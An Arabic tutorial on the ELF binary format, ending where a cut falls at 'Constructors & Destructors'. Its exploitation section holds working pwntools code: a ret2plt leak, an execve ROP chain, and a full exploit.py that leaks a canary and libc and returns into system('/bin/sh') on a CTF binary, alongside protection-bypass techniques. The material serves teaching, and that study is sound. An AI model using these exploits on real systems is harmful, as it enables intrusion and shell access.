| الغرض | للرابط والمنقّحات | للربط الديناميكي وقت التشغيل |
| المحتوى | كل الرموز (محلية + عامة + هidden) | الرموز المصدَّرة/المستوردة فقط |
| يبقى بعد strip؟ | ❌ لا (يُحذف) | ✅ نعم (مطلوب للتشغيل) |
| القسم | غير قابل للتحميل (SHF_ALLOC=0) | قابل للتحميل (SHF_ALLOC=1) |
هيكل إدخال الرمز
C⏵ ⋅ ⋅typedef struct {
Elf64_Word st_name; // إزاحة الاسم في .strtab
unsigned char st_info; // binding (4 bits) | type (4 bits)
unsigned char st_other; // visibility
Elf64_Half st_shndx; // رقم القسم الذي ينتمي إليه
Elf64_Addr st_value; // عنوان الرمز
Elf64_Xword st_size; // حجم الرمز (للدوال = حجم الكود)
} Elf64_Sym;
أنواع الـ binding
STB_LOCAL: رمز محلي، مرئي داخل الـ object file فقط. مثال:static intفي C.STB_GLOBAL: رمز عام، مرئي لجميع الـ object files. مثال:int x;أوvoid foo() {}.STB_WEAK: رمز "ضعيف" — يمكن تجاوزه برمز global آخر بنفس الاسم دون خطأ. مفيد للـ defaults القابلة للتعديل.
الـ visibility
STV_DEFAULT: default — يُصدَّر إذا كان global.STV_HIDDEN: مخفي — موجود في.symtab، لكن لا يُصدَّر إلى.dynsym. مفيد للمكتبات لإخفاء الـ internals.STV_PROTECTED: يُصدَّر لكن لا يمكن للمكتبات الأخرى تجاوزه.
bash⏵ ⋅ ⋅$ nm ./hello | head -10
0000000000004010 B __bss_start
0000000000004010 b completed.0
w __cxa_finalize@GLIBC_2.2.5
0000000000004000 D __data_start
0000000000004000 W data_start
0000000000003df8 d __dso_handle
0000000000003e00 d _DYNAMIC
0000000000004010 D _edata
0000000000004018 B _end
0000000000001188 T _fini
U printf@GLIBC_2.2.5
# الحرف الأول يكشف نوع الرمز:
# T/t = في .text D/d = في .data B/b = في .bss
# U = undefined (لم يُحلّ بعد، من مكتبة خارجية)
# W/w = weak V/v = weak object A = absolute
# كبير = global صغير = local
[09] إعادة التموضع (Relocations)
الـ relocation هو وعد: "عند التحميل، ضع العنوان X في الموقع Y بحسب الصيغة Z." الرابط والـ dynamic linker كلاهما يستخدم relocations — الفرق أنّ الرابط يحلّها وقت الترجمة (static)، أمّا ld-linux يحلّها وقت التشغيل (dynamic).
نوعا الجداول: REL و RELA
- REL (Elf64_Rel): يحوي
(offset, info)فقط — الـ addend يأتي من القيمة الحالية في الموقع. - RELA (Elf64_Rela): يحوي
(offset, info, addend)— الـ addend صريح. هذا ما يُستخدم على x86_64.
أنواع relocations الشائعة على x86_64
| النوع | الصيغة | الاستخدام |
|---|---|---|
R_X86_64_64 | S + A | عنوان كامل 64-بت |
R_X86_64_PC32 | S + A - P | عنوان نسبي 32-بت (للـ call) |
R_X86_64_GOT32 | G + A | إزاحة في GOT |
R_X86_64_PLT32 | L + A - P | قفز إلى PLT |
R_X86_64_RELATIVE | B + A | للـ PIE — عنوان نسبي إلى قاعدة التحميل |
R_X86_64_GLOB_DAT | S | كتابة عنوان متغير في GOT |
R_X86_64_JUMP_SLOT | S | كتابة عنوان دالة في .got.plt |
R_X86_64_IRELATIVE | indirect(B + A) | IFUNC — دالة تختار نسخة وقت التشغيل |
الرموز: S = symbol value | A = addend | P = place | B = base address | G = GOT offset | L = PLT entry
عملية الـ relocation العملية
[10] الحمايات (Security Features)
كل حماية في القائمة التالية وُلدت كاستجابة لهجوم معروف. فهم تاريخ كل حماية وكيف تعمل داخليًا هو الخطوة الأولى لفهم كيف يُتجاوز.
NX / DEP — No-Execute
فكرة بسيطة: صفحة الذاكرة إما قابلة للكتابة أو قابلة للتنفيذ، لا الاثنين معًا. هذا يلغي هجمات shellcode الكلاسيكية. التطبيق على Linux: bit رقم 63 في page table entry على x86_64 (XD bit). يُتحكَّم به عبر PT_GNU_STACK segment flags. كيف يُتجاوز: ROP و ret2libc — تستخدم كود موجود مسبقًا بدل حقن كود جديد.
ASLR — Address Space Layout Randomization
يجعل العناوين عشوائية كل تشغيل: libc، mmap، stack، heap. /proc/sys/kernel/randomize_va_space يتحكم فيه:
0: مُعطَّل تمامًا.1: stack و libraries عشوائية فقط.2: + heap (الافتراضي).
قيود ASLR: على Linux 32-بت، الإنتروبيا صغيرة (~16 bit) — يمكن brute-force. على 64-بت، الإنتروبيا أكبر بكثير (~28-30 bit) — يتطلب leak تقريبًا دائمًا. كيف يُتجاوز: تسريب عنوان واحد من libc يكفي لحساب كل العناوين الأخرى (لأن النسب بينها ثابتة).
PIE — Position Independent Executable
كل البرنامج (وليس فقط المكتبات) يستخدم عناوين نسبية. قاعدة الـ .text تصبح عشوائية. هذا يحمي عناوين الـ gadgets و الـ win functions داخل البرنامج نفسه. كيف يُتجاوز: أي leak لعنوان داخل البرنامج (مثل عنوان دالة عبر format string) يكشف الـ base كاملًا.
Stack Canary
قيمة عشوائية تُوضع في prologue كل دالة بين البفر و RIP المحفوظ. عند الـ epilogue، يُتحقّق من القيمة — إذا تغيّرت (= حدث buffer overflow)، يُستدعى __stack_chk_fail ويُقتل البرنامج. تفاصيل التطبيق:
asm⏵ ⋅ ⋅vuln:
; prologue
mov rax, fs:[0x28] ; قراءة canary من TLS
mov [rbp-0x8], rax ; حفظه في المكدّس
...
; epilogue
mov rax, [rbp-0x8] ; قراءة canary من المكدّس
sub rax, fs:[0x28] ; مقارنة
jne __stack_chk_fail
ret
الـ canary على Linux 64-بت دائمًا يبدأ ببايت 0x00. هذا متعمَّد — إذا حاولت قراءته بـ strcpy، البايت الأول سيوقف القراءة. كيف يُتجاوز: تسريب الـ canary عبر format string، أو brute-force بايت بايت في الـ forking servers، أو إعادة كتابة الـ canary بنفس قيمته (إذا كان مسرّبًا).
RELRO — Read-Only Relocations
أهم حماية لمنع GOT overwrite. ثلاثة أوضاع:
- No RELRO (
-z norelro): كل شيء قابل للكتابة. أسوأ سيناريو. - Partial RELRO (الافتراضي):
.gotو.init_arrayreadonly، لكن.got.pltيبقى قابلًا للكتابة (لدعم Lazy Binding). هذا هو الوضع الأكثر شيوعًا في تحديات CTF. - Full RELRO (
-z now -z relro): كل شيء readonly. يتطلب Immediate Binding (لا lazy)..got.pltغير قابل للكتابة → لا GOT overwrite كلاسيكي.
FORTIFY_SOURCE
تقنية compile-time: GCC يستبدل دوال خطيرة بنسخ آمنة عند معرفة حجم البفر:
C⏵ ⋅ ⋅char buf[10];
strcpy(buf, user_input);
// مع -D_FORTIFY_SOURCE=2 و -O1، يتحوّل إلى:
__strcpy_chk(buf, user_input, 10);
// إذا حصل overflow → __chk_fail() ويُقتل البرنامج
CET — Control-flow Enforcement Technology
أحدث حماية من Intel (متاحة من معالجات Tiger Lake و Sapphire Rapids). جزءان:
- SHSTK (Shadow Stack): مكدّس ثانٍ للقراءة فقط من كود المستخدم، يحوي نسخ من عناوين الرجوع. كل
retيقارن قمة المكدّس العادي بقمة الـ shadow stack — لا تطابق → SIGSEGV. هذا يلغي ROP بالكامل. - IBT (Indirect Branch Tracking): كل قفز غير مباشر يجب أن يهبط على تعليمة
endbr64. هذا يلغي JOP/COP.
readelf -n ./binary يكشف ما إذا كان CET مُفعَّلًا عبر .note.gnu.property:
bash⏵ ⋅ ⋅$ readelf -n /bin/ls | grep "x86 feature"
Properties: x86 feature: IBT, SHSTK
أداة checksec
bash⏵ ⋅ ⋅$ checksec --file=./challenge
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols Fortified Fortifiable
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 44 0 5
أول ما تشوف تحدّي pwn جديد، أول خطوة دايمًا: checksec ./bin. الحمايات هي اللي بتفرض عليك الاستراتيجية. No PIE + Partial RELRO + Canary = GOT overwrite بعد ما تسرّب الـ canary. PIE + Full RELRO = بتحتاج leak من libc + ROP إلى system. هذي قوانين اللعبة.
[11] منظور الاستغلال — كيف يُحطَّم البايناري
الحين — الجزء الحلو. كل اللي درسناه فوق كان تحضير. هنا بنترجم النظرية لاستغلال فعلي على البايناري. بشرح أهم تقنيات استغلال الـ ELF، وبعدها بنطبّقها على بايناري حقيقي (power_greed). جهّز قهوتك.
GOT Overwrite — الكلاسيكي الأبدي
الفكرة: استخدم أي primitive كتابة (arbitrary write) لاستبدال عنوان دالة في .got.plt بعنوان دالة أخرى. في المرة التالية يستدعي البرنامج الدالة الأولى، تُنفَّذ الثانية.
الشروط:
- Partial RELRO أو No RELRO (لأنّ Full RELRO يجعل
.got.pltreadonly). - أي primitive للكتابة على عنوان معروف: format string، arbitrary write via heap، إلخ.
- إذا PIE مُفعَّل، تحتاج لتسريب عنوان البرنامج أولًا لمعرفة موقع GOT.
ret2plt — استدعاء دوال libc بدون تسريب libc
مشكلة: ASLR يخفي libc، فلا تعرف عنوان system(). الحل: استدعِ الدالة عبر PLT — عناوين PLT ثابتة (في بايناري non-PIE) أو نسبية لقاعدة البرنامج (في PIE).
python⏵ ⋅ ⋅# مثال: استدعاء printf@plt كـ leak primitive
from pwn import *
elf = ELF('./vuln')
printf_plt = elf.plt['printf']
puts_got = elf.got['puts']
pop_rdi = 0x4011a3 # gadget من ROPgadget
payload = b"A" * 72 # padding
payload += p64(pop_rdi) # pop rdi ; ret
payload += p64(puts_got) # arg1 = address of puts in GOT
payload += p64(printf_plt) # استدعاء printf لتسريب puts
payload += p64(elf.symbols.main) # العودة إلى main لاستغلال ثانٍ
ret2libc — التقنية الأصلية لتجاوز NX
بدل تنفيذ shellcode (مُمنوع بـ NX)، أعد التحكم إلى دالة موجودة في libc مثل system("/bin/sh"). تحتاج إلى:
- تسريب عنوان دالة libc واحدة (مثلًا
putsأو__libc_start_main). - حساب base libc =
leaked - offset_of_leaked_in_libc. - حساب عناوين
systemو"/bin/sh"من قاعدة libc. - بناء ROP chain:
pop rdi ; ret ; addr("/bin/sh") ; system.
ROP — Return-Oriented Programming
الفكرة الذكية: المكدّس يحوي سلسلة من العناوين، كل عنوان يُشير إلى "gadget" — تعليمات قليلة تنتهي بـ ret. كل ret ينبثق عنوانًا من المكدّس ويقفز إليه — مما يربط الـ gadgets معًا. النتيجة: تستطيع تنفيذ منطق معقد دون كتابة بايت واحد من الكود الجديد.
python⏵ ⋅ ⋅# ROP chain لاستدعاء execve("/bin/sh", 0, 0)
# gadgets:
pop_rdi = 0x401a93 # pop rdi ; ret
pop_rsi_r15 = 0x401a91 # pop rsi ; pop r15 ; ret
pop_rdx = 0x4019b7 # pop rdx ; ret
pop_rax = 0x401b15 # pop rax ; ret
syscall_ret = 0x401c2d # syscall ; ret
bin_sh = 0x404068 # address of "/bin/sh\0" in .bss after write
chain = p64(pop_rdi) + p64(bin_sh)
chain += p64(pop_rsi_r15) + p64(0) + p64(0)
chain += p64(pop_rdx) + p64(0)
chain += p64(pop_rax) + p64(59) # syscall #59 = execve
chain += p64(syscall_ret)
تقنيات تسريب العناوين
- Format string:
printf("%lx %lx %lx ...")— يقرأ من المكدّس ويطبع عناوين. الأكثر استخدامًا.%nيكتب — primitive كتابة قوية. - Uninitialized memory read: قراءة بفر قبل تهيئته قد تسرّب بقايا libc.
- Partial overwrite: اكتب آخر بايت أو بايتين فقط من عنوان — لا يكسر ASLR لكن يحوّل التنفيذ موضعيًا.
- OOB read: قراءة خارج حدود array قد تكشف عناوين من heap/stack.
تجاوز PIE
مع PIE، حتى عناوين main و win() داخل برنامجك غير معروفة. الحل دائمًا تقريبًا: leak. لكن أيّ leak؟
- تسريب أي عنوان كود من البرنامج → اطرح إزاحته → احصل على base.
- تسريب RIP المحفوظ من المكدّس → عنوان داخل
__libc_start_main→ libc base. - تسريب من
.got.plt→ عناوين دوال محدّدة.
إساءة استخدام Dynamic Linker
تقنيات متقدمة تستغل بنية الـ dynamic linker نفسه:
- ret2dlresolve: صناعة
Elf64_Relaمزيف على المكدّس، وإجبار_dl_runtime_resolveعلى "حلّه" — يحلّ رمزsystemويستدعيه دون الحاجة لتسريب libc. - DT_DEBUG abuse:
.dynamicيحوي مؤشرًا إلى قائمة الروابط (link_map) — يمكن استخدامه لتسريب base libc. - tls_dtor_func: دالة تُستدعى عند
exit()— يمكن تحويلها لاستدعاءsystem.
دراسة حالة عملية — power_greed
power_greed بايناري CTF حقيقي: amd64، No PIE @ 0x400000، Partial RELRO، Canary، NX، مع تفعيل SHSTK/IBT. الثغرة هي buffer overflow في دالة greedy() مع format string في banner(). سأعرض الاستراتيجية الكاملة:
python — exploit.py⏵ ⋅ ⋅from pwn import *
elf = ELF('./power_greed')
io = elf.process()
# ───── المرحلة 1: تسريب الـ canary عبر format string ─────
# offset مؤكَّد بعد فحص يدوي = 15
io.sendlineafter(b"name? ", b"%15$lx")
leak = io.recvline().strip()
canary = int(leak, 16)
log.success(f"Canary leaked: {hex(canary)}")
# ───── المرحلة 2: تسريب puts@got لمعرفة قاعدة libc ─────
pop_rdi = 0x401a93
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols.main
ret_gadget = 0x40101a
# التركيب: padding(56) + canary + saved_rbp(8) + ROP chain
payload = b"A" * 56
payload += p64(canary)
payload += b"B" * 8 # saved rbp
payload += p64(pop_rdi)
payload += p64(puts_got) # arg1: عنوان puts@got
payload += p64(puts_plt) # استدعِ puts(puts@got) ⇒ يطبع عنوان puts الحقيقي
payload += p64(main_addr) # ارجع إلى main لاستغلال ثانٍ
io.sendlineafter(b"data: ", payload)
leaked = u64(io.recvline().strip().ljust(8, b"\\x00"))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = leaked - libc.symbols.puts
log.success(f"libc base: {hex(libc.address)}")
# ───── المرحلة 3: ROP إلى system("/bin/sh") ─────
binsh = next(libc.search(b"/bin/sh"))
system = libc.symbols.system
io.sendlineafter(b"name? ", b"second")
final = b"A" * 56
final += p64(canary)
final += b"B" * 8
final += p64(ret_gadget) # stack alignment
final += p64(pop_rdi)
final += p64(binsh)
final += p64(system)
io.sendlineafter(b"data: ", final)
io.interactive() # 🏴☠️ shell!
لاحظ بنية الـ payload:
- 56 بايت padding: حُسبت من
rsp - rbpعند نقطة الـ overflow. - canary: المُسرَّب من المرحلة 1 — يجب وضعه بالضبط في موقعه الأصلي.
- saved rbp (8 بايت): يمكن أن يكون قمامة، لكنّ بعض الـ epilogues تحتاجه صحيحًا.
- ROP chain: المنطق الفعلي للاستغلال.
قبل ما تستدعي system في libc، لازم تسوّي stack alignment. تعليمة movaps داخل system تتطلب RSP يكون منقسم على 16. إذا عدد عناوين الـ ROP عندك فردي، ضيف ret gadget واحد قبل system علشان يصلّح المحاذاة. هذي النقطة قاتلة كثير من الـ exploits اللي تشوفها "صح منطقيًا" بس مو شغّالة وما تدري وش السبب. خلّك ذكي معاها.
[12] أدوات تحليل ELF — صندوق العدّة
كل عكّاس محترف يعرف أدواته بأصابعه. إليك الأدوات الأساسية مع متى ولماذا تستخدم كل واحدة:
readelf — السكين السويسري
bash⏵ ⋅ ⋅$ readelf -h binary # ELF header
$ readelf -lW binary # Program headers (segments)
$ readelf -SW binary # Section headers
$ readelf -s binary # كل الرموز
$ readelf --dyn-syms binary # رموز ديناميكية فقط
$ readelf -rW binary # كل الـ relocations
$ readelf -d binary # قسم .dynamic
$ readelf -n binary # notes — مفيد لرؤية build-id و CET
$ readelf -a binary # كل شيء (مفيد مع | less)
objdump — الديساسمبلر الكلاسيكي
bash⏵ ⋅ ⋅$ objdump -d binary # disassemble (.text فقط افتراضيًا)
$ objdump -D binary # disassemble كل الأقسام (حتى .data — احذر)
$ objdump -M intel -d binary # Intel syntax بدلًا من AT&T
$ objdump -R binary # dynamic relocations
$ objdump -t binary # symbol table
$ objdump -s -j .rodata binary # hex dump لقسم محدّد
nm — قائمة الرموز السريعة
bash⏵ ⋅ ⋅$ nm binary # جميع الرموز
$ nm -D binary # رموز ديناميكية فقط
$ nm --defined-only binary # تجاهل الـ undefined
$ nm -u binary # فقط الـ undefined (المستورد من libs)
الأدوات الإضافية
strings binary— استخراج كل السلاسل القابلة للقراءة. أول خطوة في تحليل أي بايناري غير معروف.file binary— يعرّفك نوع الملف بسرعة (ELF 64-bit, dynamically linked, …).ldd binary— قائمة المكتبات المُحمَّلة. ⚠️ خطر مع بايناريات untrusted — يمكنه تنفيذ كود!checksec --file=binary— ملخص الحمايات. الأداة الأولى لكل تحدّي pwn.pwndbg / gef— إضافات GDB حديثة، تعرض السياق الكامل: registers، stack، disasm، رسالة chain analysis.radare2 / rizin— framework عكسي قوي. خط الأوامر، لكن قوي جدًا.Ghidra— Decompiler مجاني (NSA)، يحوّل assembly إلى pseudo-C قابل للقراءة.Binary Ninja— تجاري، واجهة حديثة، نظام MLIL/HLIL ممتاز.ROPgadget / ropper— البحث عن gadgets في بايناري.one_gadget— يجد عناوين "magic gadgets" في libc تستدعيexecve("/bin/sh", 0, 0)بدون حاجة لـ arguments.pwntools— مكتبة Python للاستغلال. تجعل بناء payloads فنًّا متعة.
سير العمل النموذجي للعكّاس
bash — Reverse Engineering Workflow⏵ ⋅ ⋅# 1. الاستطلاع السريع
$ file ./target # تأكيد النوع
$ checksec ./target # ما الحمايات؟
$ strings ./target | grep -iE "flag|key|sh|pass"
# 2. الفحص الهيكلي
$ readelf -h ./target
$ readelf -SW ./target | grep -E "(text|got|plt|init)"
$ nm ./target | grep -iE "win|flag|admin"
# 3. التحليل الديناميكي
$ gdb -q ./target
pwndbg> checksec
pwndbg> b main
pwndbg> run
pwndbg> vmmap # map كامل للذاكرة
pwndbg> got # جدول GOT الحالي
pwndbg> plt # جدول PLT
# 4. البحث عن gadgets
$ ROPgadget --binary ./target | grep "pop rdi"
[13] بناء ملفات ELF — رحلة من C إلى التنفيذ
كيف يتحوّل ملف .c إلى ELF؟ العملية أعقد بكثير مما يوحي به gcc hello.c. هناك أربع مراحل، كل واحدة تخرج ملفًا وسيطًا:
bash — Compilation Pipeline⏵ ⋅ ⋅# المرحلة 1: Preprocessing — معالجة #include و #define
$ gcc -E hello.c -o hello.i
# hello.i = ملف نصي ضخم بعد توسيع كل الـ headers
# المرحلة 2: Compilation — C → Assembly
$ gcc -S hello.i -o hello.s
# hello.s = ملف assembly نصي قابل للقراءة
# المرحلة 3: Assembly — Assembly → Object file
$ as hello.s -o hello.o
# hello.o = ELF من نوع ET_REL، فيه .text لكن بدون عناوين نهائية
# المرحلة 4: Linking — دمج .o + libc + startup → ELF executable
$ gcc hello.o -o hello
# hello = ELF نهائي قابل للتنفيذ (ET_DYN في عصر PIE)
أدوار المُكوّنات
- المعالج المسبق (cpp): يفك
#include،#define،#ifdef. - المُجمِّع (cc1): يحوّل C إلى assembly. هنا يحدث optimization و register allocation.
- الـ assembler (as / gas): يحوّل assembly إلى machine code + relocation info.
- الرابط (ld): يدمج عدة ملفات
.o، يحلّ الـ symbols، يكتب الـ headers، ويخرج ELF نهائي.
الـ Startup Files
عندما تكتب main()، أنت لا تكتب نقطة الدخول الفعلية. لينكس يبدأ من _start الذي يأتي من ملفات startup:
crt1.o(أوScrt1.oللـ PIE): يحوي_start— يهيّئ المكدّس ويستدعي__libc_start_main.crti.o: بداية أقسام.initو.fini.crtn.o: نهاية أقسام.initو.fini.libc.so: مكتبة C القياسية.libgcc.a+libgcc_s.so: helpers لـ GCC (math 64-bit على معماريات 32-بت، إلخ).
bash⏵ ⋅ ⋅# رؤية ما يفعله gcc فعليًا تحت الكواليس:
$ gcc -v hello.c -o hello 2>&1 | grep collect2
/usr/libexec/gcc/x86_64-linux-gnu/.../collect2
--build-id --eh-frame-hdr -m elf_x86_64 -dynamic-linker /lib64/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/Scrt1.o
/usr/lib/x86_64-linux-gnu/crti.o
/usr/lib/gcc/x86_64-linux-gnu/.../crtbeginS.o
hello.o
/usr/lib/gcc/x86_64-linux-gnu/.../crtendS.o
/usr/lib/x86_64-linux-gnu/crtn.o
-lgcc --as-needed -lgcc_s --no-as-needed
-lc -lgcc --as-needed -lgcc_s --no-as-needed
ربط ثابت مقابل ديناميكي
bash⏵ ⋅ ⋅$ gcc hello.c -o dynamic_hello
$ ls -la dynamic_hello # ~16K
$ ldd dynamic_hello
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x...)
$ gcc -static hello.c -o static_hello
$ ls -la static_hello # ~800K — كل libc مُضمَّن
$ ldd static_hello
not a dynamic executable
الـ static يحوي كل libc داخله، حجمه كبير لكنه لا يحتاج dynamic linker. مفيد لـ embedded و contained binaries (مثل بعض docker images). من منظور الاستغلال: لا PLT/GOT، لكن عناوين دوال libc ثابتة ومعروفة — gadgets أكثر بكثير، ROP أسهل.
[14] المثال العملي — تشريح Hello World
لنطبّق كل ما تعلّمناه على البرنامج الأبسط على الإطلاق. سنُترجمه ثم نشرّحه قسمًا قسمًا:
C — hello.c⏵ ⋅ ⋅#include <stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
bash⏵ ⋅ ⋅$ gcc hello.c -o hello
$ ./hello
Hello World
$ ls -la hello
-rwxr-xr-x 1 user user 15960 ... hello
الخطوة 1 — الترويسة
readelf -h⏵ ⋅ ⋅$ readelf -h hello
Class: ELF64
Data: 2's complement, little endian
OS/ABI: UNIX - System V
Type: DYN (Position-Independent Executable file)
Machine: Advanced Micro Devices X86-64
Entry point address: 0x1060 # _start (إزاحة، PIE)
Start of program headers: 64 (bytes into file)
Start of section headers: 13680
Number of program headers: 13
Number of section headers: 30
ملاحظات: Type = DYN لأنّ GCC الحديث يُولّد PIE افتراضيًا. Entry point = 0x1060 هو إزاحة _start ضمن البرنامج (سيُضاف إلى base العشوائي وقت التشغيل).
الخطوة 2 — الـ Segments (Program Headers)
readelf -lW⏵ ⋅ ⋅$ readelf -lW hello
Type Offset VirtAddr FileSiz MemSiz Flg
PHDR 0x000040 0x0000000000000040 0x0002d8 0x0002d8 R
INTERP 0x000318 0x0000000000000318 0x00001c 0x00001c R
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x000000 0x0000000000000000 0x0005f0 0x0005f0 R
LOAD 0x001000 0x0000000000001000 0x00018d 0x00018d R E # كود
LOAD 0x002000 0x0000000000002000 0x000114 0x000114 R # rodata
LOAD 0x002db8 0x0000000000003db8 0x000258 0x000260 RW # data
DYNAMIC 0x002dc8 0x0000000000003dc8 0x0001f0 0x0001f0 RW
NOTE 0x000338 0x0000000000000338 0x000044 0x000044 R
GNU_PROPERTY 0x000338 ... R
GNU_EH_FRAME 0x002014 ... R
GNU_STACK 0x000000 ... RW # NX مُفعَّل (لا E)
GNU_RELRO 0x002db8 ... R # Partial RELRO
الخطوة 3 — الأقسام الرئيسية
لنركّز على ما يهمّ. الـ .text يحوي كودنا الفعلي:
objdump -d⏵ ⋅ ⋅$ objdump -d -M intel hello | grep -A 15 <main>
0000000000001149 <main>:
1149: endbr64 # IBT landing pad
114d: push rbp
114e: mov rbp, rsp
1151: lea rax, [rip + 0xeac] # عنوان "Hello World"
1158: mov rdi, rax # arg1 لـ puts
115b: call 1050 <puts@plt> # gcc حوّل printf إلى puts!
1160: mov eax, 0x0
1165: pop rbp
1166: ret
لاحظ أن GCC حوّل printf("Hello World\n") إلى puts("Hello World")! لأنّ puts يضيف \n تلقائيًا وهو أسرع. هذا تحسين شائع — لا تتفاجأ إذا لم تجد printf في الـ disassembly رغم كتابتها في الكود.
الخطوة 4 — PLT و GOT
objdump -d .plt⏵ ⋅ ⋅$ objdump -d -j .plt -j .plt.sec -M intel hello
0000000000001020 <.plt>:
1020: push QWORD PTR [rip+0x2fca] # GOT[1]: link_map
1026: bnd jmp QWORD PTR [rip+0x2fcb] # GOT[2]: _dl_runtime_resolve
102d: nop DWORD PTR [rax]
0000000000001050 <puts@plt>:
1050: endbr64 # IBT
1054: bnd jmp QWORD PTR [rip+0x2f9d] # puts@got.plt
105b: nop DWORD PTR [rax+rax*1+0x0]
الخطوة 5 — قسم .dynamic
readelf -d⏵ ⋅ ⋅$ readelf -d hello
Dynamic section at offset 0x2dc8 contains 27 entries:
Tag Type Name/Value
0x000000001 (NEEDED) Shared library: [libc.so.6]
0x00000000c (INIT) 0x1000
0x00000000d (FINI) 0x1188
0x000000019 (INIT_ARRAY) 0x3db8
0x000000006 (SYMTAB) 0x3c0
0x000000005 (STRTAB) 0x450
0x000000017 (JMPREL) 0x5b8 # .rela.plt
0x000000007 (RELA) 0x4f8 # .rela.dyn
0x00000001e (FLAGS) BIND_NOW # لا، هذا يأتي من -z now
0x6ffffffb (FLAGS_1) Flags: PIE
الخطوة 6 — تتبّع التنفيذ
strace⏵ ⋅ ⋅$ strace -e trace=execve,mmap,write ./hello 2>&1 | head -15
execve("./hello", ["./hello"], 0x...) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, ...) = 0x... # مكدّس ld-linux
mmap(NULL, 0x..., PROT_READ, ...) = 0x... # Read-only segment
mmap(0x..., 0x..., PROT_READ|PROT_EXEC, ...) = 0x... # .text
mmap(0x..., 0x..., PROT_READ, ...) = 0x... # .rodata
mmap(0x..., 0x..., PROT_READ|PROT_WRITE, ...) = 0x... # .got + .data
write(1, "Hello World\n", 12) = 12
exit_group(0)
كل ما تعلّمناه يظهر بوضوح: 4 استدعاءات mmap() = 4 من PT_LOAD segments. كل واحد بصلاحيات مختلفة. ثم استدعاء واحد لـ write (الذي ينفّذه puts داخليًا)، ثم exit_group.
[15] مواضيع متقدمة
الآن نغوص في الزوايا التي يتجاهلها معظم الناس. كل واحدة من هذه المواضيع تستحق مقالة كاملة، لكنّنا سنغطّي الجوهر.
Position Independent Code (PIC) — كيف يعمل؟
المشكلة: مكتبة .so يمكن أن تُحمَّل في أي عنوان. كيف تشير إلى متغير global داخلها دون معرفة العنوان وقت الترجمة؟ الحل: عناوين نسبية دائمًا.
على x86_64، المساعد هو rip-relative addressing. بدلًا من mov rax, [0x401000] (عنوان مطلق)، تكتب mov rax, [rip + 0x123] (عنوان نسبي لـ RIP). هذا يعمل بصرف النظر عن مكان تحميل الكود.
للوصول إلى دوال خارجية، PIC يستخدم GOT: call puts@plt ينطلق إلى PLT stub → يقرأ من GOT (عبر rip-relative) → يقفز إلى puts. كل شيء نسبي. لذا حتى مع base عشوائي، الكود يعمل.
TLS — Thread-Local Storage
المتغيرات المعرّفة بـ __thread int x; أو thread_local تحصل على نسخة مستقلة لكل thread. التطبيق عبر register خاص: fs على x86_64 (يُشير إلى Thread Control Block خاص بكل thread).
قسما .tdata (مُهيَّأ) و .tbss (غير مُهيَّأ) يحويان قالب TLS. عند بدء thread جديد، يُنسخ الـ template ويُربط بـ fs:[...].
الـ stack canary مخزَّن في fs:[0x28] — يقرأه كل function prologue من TLS لكل thread.
RELRO Internals — كيف يعمل تقنيًا؟
الـ linker يجمع الأقسام التي يجب أن تكون readonly بعد الـ relocations في segment خاص PT_GNU_RELRO. هذا يشمل: .init_array، .fini_array، .dynamic، و (في Full RELRO) .got.
عند انتهاء _dl_runtime_relocate، ld-linux يستدعي _dl_protect_relro الذي يستدعي mprotect(relro_start, relro_size, PROT_READ).
الفرق الجوهري بين Partial و Full RELRO: في Partial، .got.plt ليس في PT_GNU_RELRO (يبقى writable لدعم lazy binding). في Full، الـ binary مُجمَّع بـ -z now فيتم حلّ كل الـ jump slots مسبقًا — لا حاجة لـ lazy binding — فيُضاف .got.plt إلى RELRO.
IFUNC — Indirect Functions
ميزة GNU تسمح بـ "دالة تختار نسخة وقت التشغيل". مثال شائع: glibc تختار نسخة memcpy الأفضل بناءً على CPU (SSE2 vs AVX vs AVX-512).
التطبيق: نوع relocation خاص R_X86_64_IRELATIVE. ld-linux يستدعي "resolver function" التي ترجع المؤشر للنسخة الصحيحة، ويكتبه في GOT.
للهاكر: IFUNC abuse تقنية حديثة — إذا تمكّنت من التحكم في IRELATIVE relocation، يمكنك تشغيل أي function pointer قبل أن يبدأ البرنامج فعليًا.
ELF Notes — ميتاداتا مدفونة
أقسام .note.* تحوي ميتاداتا متنوعة. الأهم:
- NT_GNU_BUILD_ID — معرّف فريد للبناء، مثل:
a4d2e93b1f.... يستخدمهdebuginfodلإيجاد debug symbols. - NT_GNU_PROPERTY_TYPE_0 — يحوي قدرات CPU المطلوبة:
GNU_PROPERTY_X86_FEATURE_1_IBTوSHSTK. - NT_GNU_ABI_TAG — يحدد إصدار kernel/glibc الأدنى المطلوب.
Symbol Versioning — لماذا memcpy@GLIBC_2.14؟
المشكلة: glibc غيّرت سلوك memcpy في 2.14 (لم تعد تضمن سلامة مع overlapping ranges). البرامج المُترجَمة قبل 2.14 ستتعطّل مع libc حديث.
الحل: symbol versioning. glibc تُصدّر نسختين: memcpy@GLIBC_2.2.5 (السلوك القديم) و memcpy@@GLIBC_2.14 (الجديد، الافتراضي). كل برنامج يربط بالنسخة التي كانت موجودة وقت الترجمة. التوافق العكسي محفوظ.
أقسام .gnu.version، .gnu.version_r (required)، .gnu.version_d (defined) تنفّذ هذا النظام.
Hash Tables — .hash vs .gnu.hash
للبحث عن رمز في .dynsym بسرعة، ld-linux يستخدم hash tables.
.hash (SysV): بسيط لكنه بطيء — كل bucket يحوي سلسلة من الـ symbols تُفحص كلها.
.gnu.hash (الحديث): أسرع 3-5×. يستخدم Bloom filter لرفض غير الموجودة فورًا. الـ buckets مُرتَّبة، فعند مصادفة hash أكبر تنتهي.
معظم البرامج الحديثة لا تحوي .hash إطلاقًا — فقط .gnu.hash. ld-linux يفضّله.
ELF Compression
مع ld --compress-debug-sections=zlib، أقسام debug (.debug_info، .debug_str) تُضغط. الـ section header يحصل على flag SHF_COMPRESSED، ويبدأ القسم بـ Elf64_Chdr يخبر بنوع الضغط والحجم الأصلي.
هذا يُصغّر البايناريات الكبيرة (مثل Chrome) بشكل ملحوظ. مفيد للمعتمدين على strip للحفاظ على debug separately.
Constructors & Destructors
